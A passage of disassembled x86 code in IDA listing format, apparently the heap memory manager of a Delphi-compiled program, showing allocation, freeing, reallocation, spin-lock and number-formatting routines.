movzx ecx, word ptr [ebx+18h]
mov edi, ds:dword_4001C720
cmp edi, ecx
jb short loc_400018EC
mov esi, ds:dword_4001C71C
movzx ecx, word ptr [ebx+1Ah]
lea edx, [ecx+0B30h]
cmp edi, edx
jb short loc_400018DC
mov edi, ecx
loc_400018DC: ; CODE XREF: sub_40001734+1A4j
sub esi, edi
sub ds:dword_4001C720, edi
mov ds:dword_4001C71C, esi
jmp short loc_4000190D
; ---------------------------------------------------------------------------
loc_400018EC: ; CODE XREF: sub_40001734+190j
movzx eax, word ptr [ebx+1Ah]
mov edi, eax
call sub_400015DC
mov esi, eax
test eax, eax
jnz short loc_4000190D
mov ds:byte_4001C718, al
mov [ebx], al
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40001908: ; CODE XREF: sub_40001734+166j
and byte ptr [edi+esi-4], 0F7h
loc_4000190D: ; CODE XREF: sub_40001734+182j
; sub_40001734+1B6j ...
lea ecx, [edi+6]
mov [esi-4], ecx
xor eax, eax
mov ds:byte_4001C718, al
mov [esi], ebx
mov [esi+8], eax
mov dword ptr [esi+0Ch], 1
mov [ebx+10h], esi
lea eax, [esi+20h]
movzx ecx, word ptr [ebx+2]
lea edx, [ecx+eax]
mov [ebx+8], edx
add edi, esi
sub edi, ecx
mov [ebx+0Ch], edi
mov byte ptr [ebx], 0
mov [eax-4], esi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
align 4
loc_40001948: ; CODE XREF: sub_40001734+240j
; sub_40001734+260j
mov eax, 100h
lock cmpxchg ds:byte_4001C718, ah
jz short loc_40001996
push 0
call sub_400012D4 ; Sleep
mov eax, 100h
lock cmpxchg ds:byte_4001C718, ah
jz short loc_40001996
push 0Ah
call sub_400012D4 ; Sleep
jmp short loc_40001948
; ---------------------------------------------------------------------------
align 4
loc_40001978: ; CODE XREF: sub_40001734+12j
cmp eax, 40A2Ch
ja loc_40001A90
lea ebx, [eax+0D3h]
and ebx, 0FFFFFF00h
add ebx, 30h
test cl, cl
jnz short loc_40001948
loc_40001996: ; CODE XREF: sub_40001734+221j
; sub_40001734+237j
lea edx, [ebx-0B30h]
mov ecx, edx
shr edx, 0Dh
shr ecx, 8
mov eax, 0FFFFFFFFh
shl eax, cl
and eax, ds:dword_4001C728[edx*4]
jz short loc_400019C0
and ecx, 0FFFFFFE0h
bsf eax, eax
or ecx, eax
jmp short loc_40001A1C
; ---------------------------------------------------------------------------
align 10h
loc_400019C0: ; CODE XREF: sub_40001734+27Ej
mov eax, 0FFFFFFFEh
mov ecx, edx
shl eax, cl
and eax, ds:dword_4001C724
jz short loc_400019E8
bsf edx, eax
mov eax, ds:dword_4001C728[edx*4]
bsf ecx, eax
mov eax, edx
shl eax, 5
or ecx, eax
jmp short loc_40001A1C
; ---------------------------------------------------------------------------
align 4
loc_400019E8: ; CODE XREF: sub_40001734+29Bj
mov ecx, ds:dword_4001C720
sub ecx, ebx
jb short loc_40001A0C
mov eax, ds:dword_4001C71C
sub eax, ebx
mov ds:dword_4001C71C, eax
mov ds:dword_4001C720, ecx
or ebx, 2
mov [eax-4], ebx
jmp short loc_40001A13
; ---------------------------------------------------------------------------
loc_40001A0C: ; CODE XREF: sub_40001734+2BCj
mov eax, ebx
call sub_400015DC
loc_40001A13: ; CODE XREF: sub_40001734+2D6j
mov ds:byte_4001C718, 0
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40001A1C: ; CODE XREF: sub_40001734+288j
; sub_40001734+2B1j
push esi
push edi
lea edi, off_4001C7A8[ecx*8]
mov esi, [edi+4]
mov eax, [esi+4]
mov [edi+4], eax
mov [eax], edi
cmp edi, eax
jnz short loc_40001A4B
mov eax, 0FFFFFFFEh
rol eax, cl
and ds:dword_4001C728[edx*4], eax
jnz short loc_40001A4B
btr ds:dword_4001C724, edx
loc_40001A4B: ; CODE XREF: sub_40001734+2FEj
; sub_40001734+30Ej
mov edi, 0FFFFFFF0h
and edi, [esi-4]
mov edx, edi
sub edx, ebx
jz short loc_40001A78
lea eax, [ebx+esi]
lea ecx, [edx+3]
mov [eax-4], ecx
mov [edx+eax-8], edx
cmp edx, 0B30h
jb short loc_40001A7D
call sub_40001510
jmp short loc_40001A7D
; ---------------------------------------------------------------------------
align 4
loc_40001A78: ; CODE XREF: sub_40001734+323j
and byte ptr [edi+esi-4], 0F7h
loc_40001A7D: ; CODE XREF: sub_40001734+338j
; sub_40001734+33Fj
lea ecx, [ebx+2]
mov [esi-4], ecx
mov ds:byte_4001C718, 0
mov eax, esi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40001A90: ; CODE XREF: sub_40001734+249j
pop ebx
test eax, eax
jns sub_40001694
xor eax, eax
retn
sub_40001734 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40001A9C proc near ; CODE XREF: sub_40001C7C+48p
; sub_40001C7C+8Cp ...
mov edx, [eax-4]
test dl, 7
mov ecx, eax
push ebx
mov bl, ds:byte_4001C04D
jnz loc_40001B7C
test bl, bl
mov ebx, [edx]
jnz short loc_40001B18
loc_40001AB7: ; CODE XREF: sub_40001A9C+85j
; sub_40001A9C+9Bj
sub dword ptr [edx+0Ch], 1
mov eax, [edx+8]
jz short loc_40001AEC
test eax, eax
mov [edx+8], ecx
lea eax, [eax+1]
mov [ecx-4], eax
jz short loc_40001AD4
xor eax, eax
mov [ebx], al
pop ebx
retn
; ---------------------------------------------------------------------------
align 4
loc_40001AD4: ; CODE XREF: sub_40001A9C+2Fj
mov ecx, [ebx+4]
mov [edx+14h], ebx
mov [edx+4], ecx
mov [ecx+14h], edx
mov [ebx+4], edx
mov byte ptr [ebx], 0
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
align 4
loc_40001AEC: ; CODE XREF: sub_40001A9C+22j
test eax, eax
jz short loc_40001B03
mov eax, [edx+14h]
mov ecx, [edx+4]
mov [eax+4], ecx
mov [ecx+14h], eax
xor eax, eax
cmp [ebx+10h], edx
jnz short loc_40001B06
loc_40001B03: ; CODE XREF: sub_40001A9C+52j
mov [ebx+0Ch], eax
loc_40001B06: ; CODE XREF: sub_40001A9C+65j
mov [ebx], al
mov eax, edx
mov edx, [edx-4]
mov bl, ds:byte_4001C04D
jmp short loc_40001B85
; ---------------------------------------------------------------------------
align 4
loc_40001B18: ; CODE XREF: sub_40001A9C+19j
; sub_40001A9C+ACj
mov eax, 100h
lock cmpxchg [ebx], ah
jz short loc_40001AB7
push ecx
push edx
push 0
call sub_400012D4 ; Sleep
pop edx
pop ecx
mov eax, 100h
lock cmpxchg [ebx], ah
jz loc_40001AB7
push ecx
push edx
push 0Ah
call sub_400012D4 ; Sleep
pop edx
pop ecx
jmp short loc_40001B18
; ---------------------------------------------------------------------------
align 4
loc_40001B4C: ; CODE XREF: sub_40001A9C+DCj
; sub_40001A9C+F3j
mov eax, 100h
lock cmpxchg ds:byte_4001C718, ah
jz short loc_40001B91
push 0
call sub_400012D4 ; Sleep
mov eax, 100h
lock cmpxchg ds:byte_4001C718, ah
jz short loc_40001B91
push 0Ah
call sub_400012D4 ; Sleep
jmp short loc_40001B4C
; ---------------------------------------------------------------------------
align 4
loc_40001B7C: ; CODE XREF: sub_40001A9C+Fj
test dl, 5
jnz loc_40001C6C
loc_40001B85: ; CODE XREF: sub_40001A9C+77j
and edx, 0FFFFFFF0h
test bl, bl
mov ebx, edx
push esi
mov esi, eax
jnz short loc_40001B4C
loc_40001B91: ; CODE XREF: sub_40001A9C+BDj
; sub_40001A9C+D3j
test dword ptr [ebx+esi-4], 1
mov ecx, [ebx+esi-4]
jnz short loc_40001BD4
or ecx, 8
mov [ebx+esi-4], ecx
loc_40001BA6: ; CODE XREF: sub_40001A9C+146j
; sub_40001A9C+14Dj
test byte ptr [esi-4], 8
jnz short loc_40001BEC
loc_40001BAC: ; CODE XREF: sub_40001A9C+15Dj
; sub_40001A9C+166j
cmp ebx, 13FFF0h
jz short loc_40001C04
lea eax, [ebx+3]
mov [esi-4], eax
mov [ebx+esi-8], ebx
mov eax, esi
mov edx, ebx
call sub_40001510
mov ds:byte_4001C718, 0
xor eax, eax
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
align 4
loc_40001BD4: ; CODE XREF: sub_40001A9C+101j
lea eax, [ebx+esi]
and ecx, 0FFFFFFF0h
add ebx, ecx
cmp ecx, 0B30h
jb short loc_40001BA6
call sub_400014D0
jmp short loc_40001BA6
; ---------------------------------------------------------------------------
align 4
loc_40001BEC: ; CODE XREF: sub_40001A9C+10Ej
mov ecx, [esi-8]
sub esi, ecx
add ebx, ecx
cmp ecx, 0B30h
jb short loc_40001BAC
mov eax, esi
call sub_400014D0
jmp short loc_40001BAC
; ---------------------------------------------------------------------------
loc_40001C04: ; CODE XREF: sub_40001A9C+116j
cmp ds:dword_4001C720, 13FFF0h
jnz short loc_40001C3C
sub esi, 10h
mov eax, [esi]
mov edx, [esi+4]
mov [eax+4], edx
mov [edx], eax
mov ds:byte_4001C718, 0
push 8000h
push 0
push esi
call sub_400012CC ; VirtualFree
cmp eax, 1
sbb eax, eax
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
align 4
loc_40001C3C: ; CODE XREF: sub_40001A9C+172j
lea ebx, [esi+13FFF0h]
call sub_40001570
mov dword ptr [ebx-4], 2
mov ds:dword_4001C720, 13FFF0h
mov ds:dword_4001C71C, ebx
mov ds:byte_4001C718, 0
xor eax, eax
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
align 4
loc_40001C6C: ; CODE XREF: sub_40001A9C+E3j
pop ebx
test dl, 3
jz sub_400016F8
mov eax, 0FFFFFFFFh
retn
sub_40001A9C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40001C7C proc near ; CODE XREF: sub_40002C54+Dp
; DATA XREF: .data:off_4001A72Co
mov ecx, [eax-4]
test cl, 7
push ebx
push esi
mov esi, eax
jnz loc_40001D14
mov ebx, [ecx]
movzx ecx, word ptr [ebx+2]
sub ecx, 4
cmp ecx, edx
jb short loc_40001CD0
lea ebx, ds:40h[edx*4]
cmp ebx, ecx
jb short loc_40001CA8
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
align 4
loc_40001CA8: ; CODE XREF: sub_40001C7C+26j
mov ebx, edx
mov eax, edx
call sub_40001734
test eax, eax
jz short loc_40001CCB
mov ecx, ebx
mov edx, eax
mov ebx, eax
mov eax, esi
call sub_400014B4
mov eax, esi
call sub_40001A9C
mov eax, ebx
loc_40001CCB: ; CODE XREF: sub_40001C7C+37j
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
align 10h
loc_40001CD0: ; CODE XREF: sub_40001C7C+1Bj
lea ecx, [ecx+ecx+20h]
push edi
mov edi, edx
xor eax, eax
sub ecx, edx
adc eax, 0FFFFFFFFh
and eax, ecx
add eax, edx
call sub_40001734
test eax, eax
jz short loc_40001D0F
cmp edi, 40A2Ch
jbe short loc_40001CF6
mov [eax-8], edi
loc_40001CF6: ; CODE XREF: sub_40001C7C+75j
movzx ecx, word ptr [ebx+2]
sub ecx, 4
mov edx, eax
mov edi, eax
mov eax, esi
call dword ptr [ebx+1Ch]
mov eax, esi
call sub_40001A9C
mov eax, edi
loc_40001D0F: ; CODE XREF: sub_40001C7C+6Dj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
align 4
loc_40001D14: ; CODE XREF: sub_40001C7C+Aj
test cl, 5
jnz loc_40001F68
mov ebx, ecx
and ecx, 0FFFFFFF0h
push edi
lea edi, [ecx+eax]
sub ecx, 4
and ebx, 0Fh
cmp edx, ecx
push ebp
ja loc_40001E34
lea ebp, [edx+edx]
cmp ebp, ecx
jb short loc_40001D44
pop ebp
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
align 4
loc_40001D44: ; CODE XREF: sub_40001C7C+BEj
cmp edx, 0B2Ch
jnb short loc_40001D5D
cmp ebp, 0B2Ch
jb loc_40001E0C
mov edx, 0B2Ch
loc_40001D5D: ; CODE XREF: sub_40001C7C+CEj
lea ebp, [edx+0D3h]
and ebp, 0FFFFFF00h
add ebp, 30h
add ecx, 4
sub ecx, ebp
cmp ds:byte_4001C04D, 0
jz short loc_40001DB4
loc_40001D7A: ; CODE XREF: sub_40001C7C+12Ej
mov eax, 100h
lock cmpxchg ds:byte_4001C718, ah
jz short loc_40001DAC
push ecx
push 0
call sub_400012D4 ; Sleep
pop ecx
mov eax, 100h
lock cmpxchg ds:byte_4001C718, ah
jz short loc_40001DAC
push ecx
push 0Ah
call sub_400012D4 ; Sleep
pop ecx
jmp short loc_40001D7A
; ---------------------------------------------------------------------------
loc_40001DAC: ; CODE XREF: sub_40001C7C+10Bj
; sub_40001C7C+123j
mov ebx, 0Fh
and ebx, [esi-4]
loc_40001DB4: ; CODE XREF: sub_40001C7C+FCj
or ebx, ebp
mov [esi-4], ebx
mov ebx, ecx
mov edx, [edi-4]
test dl, 1
jnz short loc_40001DCC
or edx, 8
mov [edi-4], edx
jmp short loc_40001DE2
; ---------------------------------------------------------------------------
align 4
loc_40001DCC: ; CODE XREF: sub_40001C7C+145j
mov eax, edi
and edx, 0FFFFFFF0h
add ebx, edx
add edi, edx
cmp edx, 0B30h
jb short loc_40001DE2
call sub_400014D0
loc_40001DE2: ; CODE XREF: sub_40001C7C+14Dj
; sub_40001C7C+15Fj
mov [edi-8], ebx
lea eax, [ebx+3]
mov [esi+ebp-4], eax
cmp ebx, 0B30h
jb short loc_40001DFE
lea eax, [esi+ebp]
mov edx, ebx
call sub_40001510
loc_40001DFE: ; CODE XREF: sub_40001C7C+176j
mov ds:byte_4001C718, 0
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40001E0C: ; CODE XREF: sub_40001C7C+D6j
mov edi, edx
mov eax, edx
call sub_40001734
test eax, eax
jz short loc_40001E2F
mov ebp, eax
mov edx, eax
mov eax, esi
mov ecx, edi
call sub_400014B4
mov eax, esi
call sub_40001A9C
mov eax, ebp
loc_40001E2F: ; CODE XREF: sub_40001C7C+19Bj
pop ebp
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40001E34: ; CODE XREF: sub_40001C7C+B3j
mov eax, [edi-4]
test al, 1
jz loc_40001F20
and eax, 0FFFFFFF0h
lea ebp, [ecx+eax]
cmp edx, ebp
ja loc_40001F20
cmp ds:byte_4001C04D, 0
jz short loc_40001EA5
loc_40001E56: ; CODE XREF: sub_40001C7C+20Ej
mov eax, 100h
lock cmpxchg ds:byte_4001C718, ah
jz short loc_40001E8C
push ecx
push edx
push 0
call sub_400012D4 ; Sleep
pop edx
pop ecx
mov eax, 100h
lock cmpxchg ds:byte_4001C718, ah
jz short loc_40001E8C
push ecx
push edx
push 0Ah
call sub_400012D4 ; Sleep
pop edx
pop ecx
jmp short loc_40001E56
; ---------------------------------------------------------------------------
loc_40001E8C: ; CODE XREF: sub_40001C7C+1E7j
; sub_40001C7C+201j
mov ebx, 0Fh
and ebx, [esi-4]
mov eax, [edi-4]
test al, 1
jz short loc_40001F19
and eax, 0FFFFFFF0h
lea ebp, [ecx+eax]
cmp edx, ebp
ja short loc_40001F19
loc_40001EA5: ; CODE XREF: sub_40001C7C+1D8j
cmp eax, 0B30h
jb short loc_40001EB7
mov eax, edi
push ecx
push edx
call sub_400014D0
pop edx
pop ecx
loc_40001EB7: ; CODE XREF: sub_40001C7C+22Ej
mov eax, ecx
shr eax, 2
add eax, ecx
xor edi, edi
sub eax, edx
adc edi, 0FFFFFFFFh
and eax, edi
lea eax, [edx+eax+0D3h]
and eax, 0FFFFFF00h
add eax, 30h
lea edx, [ebp+4]
sub edx, eax
ja short loc_40001EE8
and dword ptr [esi+ebp], 0FFFFFFF7h
add ebp, 4
jmp short loc_40001F04
; ---------------------------------------------------------------------------
align 4
loc_40001EE8: ; CODE XREF: sub_40001C7C+25Fj
mov [esi+ebp-4], edx
lea edi, [edx+3]
mov [eax+esi-4], edi
mov ebp, eax
cmp edx, 0B30h
jb short loc_40001F04
add eax, esi
call sub_40001510
loc_40001F04: ; CODE XREF: sub_40001C7C+268j
; sub_40001C7C+27Fj
or ebp, ebx
mov [esi-4], ebp
mov ds:byte_4001C718, 0
mov eax, esi
loc_40001F12: ; CODE XREF: sub_40001C7C+2C3j
pop ebp
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
; ---------------------------------------------------------------------------
loc_40001F19: ; CODE XREF: sub_40001C7C+21Dj
; sub_40001C7C+227j
mov ds:byte_4001C718, 0
loc_40001F20: ; CODE XREF: sub_40001C7C+1BDj
; sub_40001C7C+1CBj
mov eax, ecx
shr eax, 2
add eax, ecx
xor edi, edi
sub eax, edx
adc edi, 0FFFFFFFFh
and eax, edi
add eax, edx
mov ebp, eax
mov edi, ecx
push edx
call sub_40001734
pop edx
test eax, eax
jz short loc_40001F12
cmp ebp, 40A2Ch
jbe short loc_40001F4C
mov [eax-8], edx
loc_40001F4C: ; CODE XREF: sub_40001C7C+2CBj
mov ebp, eax
mov edx, eax
mov eax, esi
mov ecx, edi
call sub_40001484
mov eax, esi
call sub_40001A9C
mov eax, ebp
pop ebp
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
align 4
loc_40001F68: ; CODE XREF: sub_40001C7C+9Bj
test cl, 3
jnz loc_40001FFC
sub ecx, 18h
cmp edx, ecx
jbe short loc_40001FBC
mov eax, ecx
shr ecx, 2
add ecx, eax
xor eax, eax
sub ecx, edx
adc eax, 0FFFFFFFFh
and eax, ecx
add eax, edx
mov ebx, eax
push edx
call sub_40001734
pop edx
test eax, eax
jz short loc_40001FB9
cmp ebx, 40A2Ch
jbe short loc_40001FA2
mov [eax-8], edx
loc_40001FA2: ; CODE XREF: sub_40001C7C+321j
mov ecx, [esi-8]
mov ebx, eax
mov edx, eax
mov eax, esi
call sub_40001484
mov eax, esi
call sub_40001A9C
mov eax, ebx
loc_40001FB9: ; CODE XREF: sub_40001C7C+319j
; sub_40001C7C+357j
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40001FBC: ; CODE XREF: sub_40001C7C+2FAj
shr ecx, 1
cmp edx, ecx
jb short loc_40001FC8
mov [eax-8], edx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40001FC8: ; CODE XREF: sub_40001C7C+344j
mov ebx, edx
mov eax, edx
call sub_40001734
test eax, eax
jz short loc_40001FB9
cmp ebx, 40A2Ch
jbe short loc_40001FE0
mov [eax-8], ebx
loc_40001FE0: ; CODE XREF: sub_40001C7C+35Fj
mov ecx, ebx
mov ebx, eax
mov edx, eax
mov eax, esi
call sub_400014B4
mov eax, esi
call sub_40001A9C
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
align 4
loc_40001FFC: ; CODE XREF: sub_40001C7C+2EFj
xor eax, eax
pop esi
pop ebx
retn
sub_40001C7C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40002004 proc near ; CODE XREF: .text:40002C0Cp
; DATA XREF: .data:off_4001A730o
push ebx
lea ebx, [eax-1]
and ebx, 0FFFFFFFCh
call sub_40001734
cmp eax, 1
sbb ecx, ecx
lea edx, [ebx+eax]
or ebx, ecx
cmp ebx, 40A2Ch
jnb short loc_40002032
neg ebx
fldz
loc_40002026: ; CODE XREF: sub_40002004+28j
fst qword ptr [ebx+edx]
add ebx, 8
js short loc_40002026
mov [edx], ecx
ffree st
loc_40002032: ; CODE XREF: sub_40002004+1Cj
pop ebx
retn
sub_40002004 endp
; =============== S U B R O U T I N E =======================================
sub_40002034 proc near ; CODE XREF: sub_40002540+D1p
mov ecx, eax
mov edx, ecx
sub edx, 4
mov edx, [edx]
and edx, 0FFFFFFF0h
add edx, ecx
mov eax, edx
mov edx, eax
sub edx, 4
mov edx, [edx]
and edx, 0FFFFFFF0h
test edx, edx
jnz short locret_40002054
xor eax, eax
locret_40002054: ; CODE XREF: sub_40002034+1Cj
retn
sub_40002034 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40002058 proc near ; CODE XREF: sub_40002540+5Fp
cmp ds:dword_4001C720, 0
jz short loc_4000207B
mov edx, ds:dword_4001C71C
cmp edx, eax
jb short loc_4000207B
mov edx, eax
add edx, 140000h
cmp edx, ds:dword_4001C71C
jnb short loc_4000207F
loc_4000207B: ; CODE XREF: sub_40002058+7j
; sub_40002058+11j
add eax, 10h
retn
; ---------------------------------------------------------------------------
loc_4000207F: ; CODE XREF: sub_40002058+21j
cmp ds:dword_4001C720, 13FFF0h
jz short loc_40002092
mov eax, ds:dword_4001C71C
jmp short locret_40002094
; ---------------------------------------------------------------------------
loc_40002092: ; CODE XREF: sub_40002058+31j
xor eax, eax
locret_40002094: ; CODE XREF: sub_40002058+38j
retn
sub_40002058 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40002098 proc near ; CODE XREF: sub_400023F4+30p
push ebx
push esi
mov ebx, eax
add ebx, 20h
mov [edx], ebx
mov edx, [eax]
cmp eax, [edx+10h]
jnz short loc_400020B0
mov ebx, [edx+8]
cmp ebx, [edx+0Ch]
jbe short loc_400020C9
loc_400020B0: ; CODE XREF: sub_40002098+Ej
mov esi, eax
mov ebx, esi
sub ebx, 4
mov ebx, [ebx]
and ebx, 0FFFFFFF0h
add ebx, esi
movzx eax, word ptr [edx+2]
sub ebx, eax
mov [ecx], ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_400020C9: ; CODE XREF: sub_40002098+16j
mov eax, [edx+8]
dec eax
mov [ecx], eax
pop esi
pop ebx
retn
sub_40002098 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400020D4 proc near ; CODE XREF: sub_40002540+20Bp
; sub_40002540+226p ...
push edi
mov edi, edx
add eax, 1
mov edx, 89705F41h
mul edx
shr eax, 1Eh
mov ecx, edx
and edx, 1FFFFFFFh
shr ecx, 1Dh
lea edx, [edx+edx*4]
add edx, eax
mov eax, ecx
or eax, 30h
mov [edi], al
mov eax, edx
cmp ecx, 1
sbb edi, 0FFFFFFFFh
shr eax, 1Ch
and edx, 0FFFFFFFh
or ecx, eax
or eax, 30h
mov [edi], al
lea eax, [edx+edx*4]
lea edx, [edx+edx*4]
cmp ecx, 1
sbb edi, 0FFFFFFFFh
shr eax, 1Bh
and edx, 7FFFFFFh
or ecx, eax
or eax, 30h
mov [edi], al
lea eax, [edx+edx*4]
lea edx, [edx+edx*4]
cmp ecx, 1
sbb edi, 0FFFFFFFFh
shr eax, 1Ah
and edx, 3FFFFFFh
or ecx, eax
or eax, 30h
mov [edi], al
lea eax, [edx+edx*4]
lea edx, [edx+edx*4]
cmp ecx, 1
sbb edi, 0FFFFFFFFh
shr eax, 19h
and edx, 1FFFFFFh
or ecx, eax
or eax, 30h
mov [edi], al
lea eax, [edx+edx*4]
lea edx, [edx+edx*4]
cmp ecx, 1
sbb edi, 0FFFFFFFFh
shr eax, 18h
and edx, 0FFFFFFh
or ecx, eax
or eax, 30h
mov [edi], al
lea eax, [edx+edx*4]
lea edx, [edx+edx*4]
cmp ecx, 1
sbb edi, 0FFFFFFFFh
shr eax, 17h
and edx, 7FFFFFh
or ecx, eax
or eax, 30h
mov [edi], al
lea eax, [edx+edx*4]
lea edx, [edx+edx*4]
cmp ecx, 1
sbb edi, 0FFFFFFFFh
shr eax, 16h
and edx, 3FFFFFh
or ecx, eax
or eax, 30h
mov [edi], al
lea eax, [edx+edx*4]
lea edx, [edx+edx*4]
cmp ecx, 1
sbb edi, 0FFFFFFFFh
shr eax, 15h
and edx, 1FFFFFh
or ecx, eax
or eax, 30h
mov [edi], al
lea eax, [edx+edx*4]
cmp ecx, 1
sbb edi, 0FFFFFFFFh
shr eax, 14h
or eax, 30h
mov [edi], al
lea eax, [edi+1]
pop edi
retn
sub_400020D4 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_400021F0 proc near ; CODE XREF: sub_40002540+16Ap
; sub_40002540+1E3p ...
push ebx
push esi
mov esi, ecx
mov ebx, edx
mov edx, ebx
mov ecx, esi
call sub_40002DFC
mov eax, ebx
add eax, esi
pop esi
pop ebx
retn
sub_400021F0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40002208 proc near ; CODE XREF: sub_40002208+A1p
; sub_400022C0+1Bp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
mov esi, edx
mov ebx, eax
mov edx, ebx
mov ecx, edx
add ecx, 0FFFFFFB4h
mov eax, [ebp+arg_0]
mov eax, [eax-1Ch]
cmp ecx, eax
jb short loc_40002232
mov ecx, [ebp+arg_0]
mov ecx, [ebp+arg_0]
add eax, [ecx-10h]
add edx, 0FFFFFFDFh
cmp eax, edx
jnb short loc_40002246
loc_40002232: ; CODE XREF: sub_40002208+18j
push 1Ch
mov eax, [ebp+arg_0]
add eax, 0FFFFFFE4h
push eax
mov eax, ebx
add eax, 0FFFFFFB4h
push eax
call sub_40001258 ; VirtualQuery
loc_40002246: ; CODE XREF: sub_40002208+28j
cmp esi, 3E8h
jge short loc_4000228A
mov eax, [ebp+arg_0]
mov eax, [eax-1Ch]
mov edx, [ebp+arg_0]
add eax, [edx-10h]
mov edx, ebx
add edx, 0FFFFFFDFh
cmp eax, edx
jbe short loc_4000228A
mov eax, [ebp+arg_0]
cmp dword ptr [eax-0Ch], 1000h
jnz short loc_4000228A
mov eax, [ebp+arg_0]
test byte ptr [eax-8], 0E6h
jz short loc_4000228A
mov eax, [ebp+arg_0]
test byte ptr [eax-7], 1
jnz short loc_4000228A
mov eax, ebx
add eax, 0FFFFFFB4h
cmp ebx, [eax]
jz short loc_4000228E
loc_4000228A: ; CODE XREF: sub_40002208+44j
; sub_40002208+59j ...
xor eax, eax
jmp short loc_40002290
; ---------------------------------------------------------------------------
loc_4000228E: ; CODE XREF: sub_40002208+80j
mov al, 1
loc_40002290: ; CODE XREF: sub_40002208+84j
test al, al
jz short loc_400022B9
add ebx, 0FFFFFFDCh
mov ebx, [ebx]
test ebx, ebx
jz short loc_400022B7
mov eax, [ebp+arg_0]
push eax
lea edx, [esi+1]
mov eax, ebx
sub eax, 0FFFFFFB4h
call sub_40002208
pop ecx
test al, al
jnz short loc_400022B7
xor eax, eax
jmp short loc_400022B9
; ---------------------------------------------------------------------------
loc_400022B7: ; CODE XREF: sub_40002208+93j
; sub_40002208+A9j
mov al, 1
loc_400022B9: ; CODE XREF: sub_40002208+8Aj
; sub_40002208+ADj
pop esi
pop ebx
pop ebp
retn
sub_40002208 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_400022C0 proc near ; CODE XREF: sub_400023F4+68p
var_10 = dword ptr -10h
push ebp
mov ebp, esp
add esp, 0FFFFFFE4h
push ebx
mov ebx, [eax]
xor eax, eax
mov [ebp+var_10], eax
cmp ebx, 10000h
jb short loc_400022E5
push ebp
xor edx, edx
mov eax, ebx
call sub_40002208
pop ecx
test al, al
jnz short loc_400022E7
loc_400022E5: ; CODE XREF: sub_400022C0+14j
xor ebx, ebx
loc_400022E7: ; CODE XREF: sub_400022C0+23j
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
retn
sub_400022C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_400022F0 proc near ; CODE XREF: sub_4000235C+3p
; sub_4000239C+11p
cmp ds:byte_4001C04D, 0
jz short loc_4000232D
jmp short loc_4000231B
; ---------------------------------------------------------------------------
loc_400022FB: ; CODE XREF: sub_400022F0+3Bj
push 0
call sub_400012D4 ; Sleep
mov ecx, offset byte_4001E7C0
mov dl, 1
xor eax, eax
call sub_40001344
test al, al
jz short loc_4000232D
push 0Ah
call sub_400012D4 ; Sleep
loc_4000231B: ; CODE XREF: sub_400022F0+9j
mov ecx, offset byte_4001E7C0
mov dl, 1
xor eax, eax
call sub_40001344
test al, al
jnz short loc_400022FB
loc_4000232D: ; CODE XREF: sub_400022F0+7j
; sub_400022F0+22j
cmp ds:dword_4001E7BC, 0
jnz short loc_4000234E
push 4
push 1000h
push 10000h
push 0
call sub_400012C4 ; VirtualAlloc
mov ds:dword_4001E7BC, eax
loc_4000234E: ; CODE XREF: sub_400022F0+44j
cmp ds:dword_4001E7BC, 0
setnz al
retn
sub_400022F0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000235C proc near ; DATA XREF: .data:4001A734o
push ebx
mov ebx, eax
call sub_400022F0
test al, al
jz short loc_40002391
mov eax, ds:dword_4001E7BC
cmp dword ptr [eax], 3FFEh
jge short loc_40002391
mov eax, ds:dword_4001E7BC
mov eax, [eax]
mov edx, ds:dword_4001E7BC
mov [edx+eax*4+4], ebx
mov eax, ds:dword_4001E7BC
inc dword ptr [eax]
mov al, 1
jmp short loc_40002393
; ---------------------------------------------------------------------------
loc_40002391: ; CODE XREF: sub_4000235C+Aj
; sub_4000235C+17j
xor eax, eax
loc_40002393: ; CODE XREF: sub_4000235C+33j
mov ds:byte_4001E7C0, 0
pop ebx
retn
sub_4000235C endp
; =============== S U B R O U T I N E =======================================
sub_4000239C proc near ; CODE XREF: sub_400023F4+4Cp
; sub_40002540+A6p ...
push ebx
push esi
push edi
mov esi, eax
mov edi, offset dword_4001E7BC
xor ebx, ebx
cmp dword ptr [edi], 0
jz short loc_400023EC
call sub_400022F0
test al, al
jz short loc_400023EC
mov eax, [edi]
mov edx, [eax]
dec edx
test edx, edx
jl short loc_400023E5
